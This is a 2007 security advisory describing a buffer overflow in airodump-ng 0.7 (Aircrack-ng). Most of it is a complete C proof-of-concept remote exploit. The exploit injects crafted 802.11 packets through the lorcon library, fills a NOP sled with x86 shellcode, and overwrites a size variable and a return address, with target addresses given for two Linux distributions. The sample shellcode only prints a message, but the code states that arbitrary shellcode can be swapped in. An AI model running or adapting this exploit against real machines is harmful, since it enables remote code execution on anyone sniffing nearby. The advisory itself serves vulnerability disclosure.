airodump-ng.txt

`Product Name: Aircrack-ng (0.7)  
Vendor: http://www.aircrack-ng.org  
Date: 13 April, 2007  
Author: Jonathan So < jonny [ @ ] nop-art [ dot ] net>  
Advisory URL: http://www.nop-art.net/advisories/airodump-ng.txt  
  
I. DESCRIPTION  
  
A buffer overflow vulnerability has been found in airodump-ng, part of  
the aircrack-ng package. The vulnerability could allow an attacker to  
transmit specially crafted 802.11 packets to execute arbitrary code on  
a remote machine running the airodump-ng tool.  
  
II. DETAILS  
  
Airodump-ng fails to check the size of 802.11 authentication packets  
before copying into an insufficiently sized global buffer. As a result  
it is possible to overwrite another global variable passed as the size  
parameter to a subsequent memcpy() operation, in order to overflow a  
stack buffer. Airodump-ng must be logging packets with the -w or  
--write option to be vulnerable to this attack. The wireless device  
must also be capturing packets in monitor mode.  
  
This vulnerability has been successfully exploited against on an x86  
Linux 2.6.20 machine running airodump-ng 0.7. Other versions and  
platforms are also likely to be affected.  
  
III. CREDIT  
  
Discovered by Jonathan So  
Additional thanks to Ash Willis  
  
IV. EXPLOIT  
  
/**  
* airodump-exp.c - aircrack/airodump-ng (0.7) remote exploit  
*  
* Proof of concept exploit for a stack (and heap) based  
* overflow in airodump-ng. The vulnerability can be exploited  
* by transmitting some specially crafted 802.11 packets to  
* execute arbitrary code on any machines within range  
* that are sniffing with a vulnerable version of airodump-ng.  
*  
* This exploit requires the lorcon 802.11 packet injection  
* library, see http://802.11ninja.net for details.  
*  
* Compiling:  
*  
* gcc -o airodump-remote airodump-remote.c -lorcon  
*  
* Usage:  
*  
* ./airodump-ng <interface> <driver> <channel> <headertype> [return addr]  
*  
* Drivers supported by lorcon:  
*  
* wlan-ng, hostap, airjack, prism54, madwifing, madwifiold,  
* rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw  
*  
* Header types:  
*  
* 0 - None (not tested)  
* 1 - Fake prism54 header  
* 2 - Fake radiotap header (not tested)  
*   
* Return addresses:  
*   
* Backtrack Linux 2 (2.6.20) aircrack-ng 0.7 - 0x8054934  
* Gentoo Linux (2.6.16) aircrack-ng 0.7 - 0x8055934  
*  
* Example usage:  
*  
* ./airodump-ng wlan0 prism54 11 1 0x8054934  
*  
* Original advisory: http://www.nop-art.net/advisories/airodump-ng.txt  
* Author: Jonathan So [ jonny [ @ ] nop-art.net ]  
*  
* Copyright (C) 2007 Jonathan So  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <tx80211.h>  
  
// Linux x86 sys_write shellcode. Any arbitrary shellcode should work  
// here, it doesn't matter if it contains nulls. Maximum 792 bytes.  
  
char shellcode[] =  
"\xeb\x14" // jmp get_message  
  
// start:  
"\x59\x31\xdb\x31\xd2\xb2"  
"\x1b" // message length  
"\x31\xc0\x88\x04\x11"  
"\xb0\x04\xcd\x80" // sys_write  
"\xb0\x01\xcd\x80" // sys_exit  
  
// get_message:  
"\xe8\xe7\xff\xff\xff" // call start   
"Stop sniffing our network!!"; // message text  
  
int main(int argc, char **argv)  
{  
tx80211_t tx;  
tx80211_packet_t txp;  
uint8_t packet[1044];  
uint8_t *ppacket;  
  
int headertype;  
unsigned ret_addr = 0x8054934;  
FILE *fp;  
  
if(argc<5) {  
printf("usage: %s <interface> <driver> <channel> <arptype> [ret_addr]\n", argv[0]);  
exit(1);  
}  
  
if(argc>5) {  
ret_addr = strtoul(argv[5], NULL, 16);  
}  
  
headertype = atoi(argv[4]);  
  
if ( tx80211_init(&tx, argv[1], tx80211_resolvecard(argv[2])) != TX80211_ENOERR) {  
fprintf(stderr, "Error initializing driver");  
return 1;  
}  
  
if (tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON) != TX80211_ENOERR) {  
fprintf(stderr, "Error setting inject mode\n");  
return 1;  
}  
  
if (tx80211_setchannel(&tx, atoi(argv[3])) < 0) {  
fprintf(stderr, "Error setting channel\n");  
}  
  
if (tx80211_open(&tx) < 0) {  
fprintf(stderr, "Unable to open interface\n");  
return 1;  
}  
  
txp.packet = packet;  
  
// Fill packet with nops  
memset(packet, 0x90, sizeof(packet));  
  
switch (headertype) {  
case 0:  
// No arptype, just send raw packet  
ppacket = packet;  
break;  
case 1:  
// Send fake prism header  
memcpy(packet+4, "\x08\x00\x00\x00", 4);  
ppacket = packet + 8;  
break;  
case 2:  
// Send fake radiotap header  
packet[0] = 0;  
packet[2] = 3;  
ppacket = packet + 3;  
break;  
default:  
printf("Invalid header type. Valid options are:\n");  
printf(" 0 - none\n");  
printf(" 1 - prism54\n");  
printf(" 2 - radiotap\n");  
return 1;  
}  
  
// set some necessary 802.11 header fields  
ppacket[0] = 0xB0;  
ppacket[1] = 0;  
ppacket[24] = 1;  
ppacket[25] = 0;  
ppacket[26] = 2;  
ppacket[27] = 0;  
  
txp.plen = 512 + (ppacket - packet);  
if (tx80211_txpacket(&tx, &txp) < txp.plen) {  
fprintf(stderr, "Error sending packet 1\n");  
return 1;  
}  
  
ppacket[26] = 4;  
  
if (tx80211_txpacket(&tx, &txp) < txp.plen) {  
fprintf(stderr, "Error sending packet 2\n");  
return 1;  
}  
  
// Insert shellcode at end of nopsled  
memcpy(ppacket+(820-sizeof(shellcode)), shellcode, sizeof(shellcode));  
  
// Overwrite some char*, needs to be a valid address  
memcpy(ppacket+1028, &ret_addr, 4);  
  
// Overwrite global variable sk_len, used as argument to memcpy  
memcpy(ppacket+1032, "\x20\x05\x00\x00", 4);  
  
// Return address  
memcpy(ppacket+820, &ret_addr, 4);  
  
ppacket[1] = 0x40;  
txp.plen = 1036 + + (ppacket - packet);  
  
if (tx80211_txpacket(&tx, &txp) < txp.plen) {  
fprintf(stderr, "Error sending packet 3\n");  
return 1;  
}  
  
tx80211_close(&tx);  
  
return 0;  
}  
`